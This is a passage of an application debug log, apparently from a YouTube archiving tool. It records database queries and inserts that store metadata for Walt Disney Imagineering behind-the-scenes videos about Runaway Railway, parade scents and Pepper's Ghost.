\u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "944c8ca9-8c4f-41a4-9e96-c0add52be7c8", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, false, 7, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, false, 2, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-29 22:54:59Z], ~U[2026-03-29 22:54:59Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", nil, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, 2, ~U[2026-01-20 00:00:00Z]] 18:54:59.594 [debug] QUERY OK source="sources" db=0.1ms idle=62.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.595 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:59.595 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7390] 18:54:59.595 [debug] Current batch of media processed. Will check again in 1000ms 18:55:00.596 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "filename" => "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", "id" => "KcrIWZOXOGg", "original_url" => "https://www.youtube.com/watch?v=KcrIWZOXOGg", "playlist_index" => 8, "title" => "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "upload_date" => "20251222"} 18:55:00.597 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:00.597 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:00.598 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 00:00:00Z], 2] 18:55:00.600 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "9ade39e1-a981-458f-a41b-8289e215fffe", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, false, 8, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, false, 2, [], 98, ~U[2025-12-22 00:00:00Z], ~U[2026-03-29 22:55:00Z], ~U[2026-03-29 22:55:00Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", nil, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, 2, ~U[2025-12-22 00:00:00Z]] 18:55:00.600 [debug] QUERY OK source="sources" db=0.2ms idle=67.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:00.601 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:00.601 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5352] 18:55:00.602 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "filename" => "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", "id" => "m80WI0AK0P0", "original_url" => "https://www.youtube.com/watch?v=m80WI0AK0P0", "playlist_index" => 9, "title" => "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "upload_date" => "20251208"} 18:55:00.602 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:00.602 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:00.603 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 00:00:00Z], 2] 18:55:00.605 [debug] QUERY OK source="media_items" db=1.4ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "fb8057e0-0bca-4c0f-b4d7-c243b163090a", "m80WI0AK0P0", 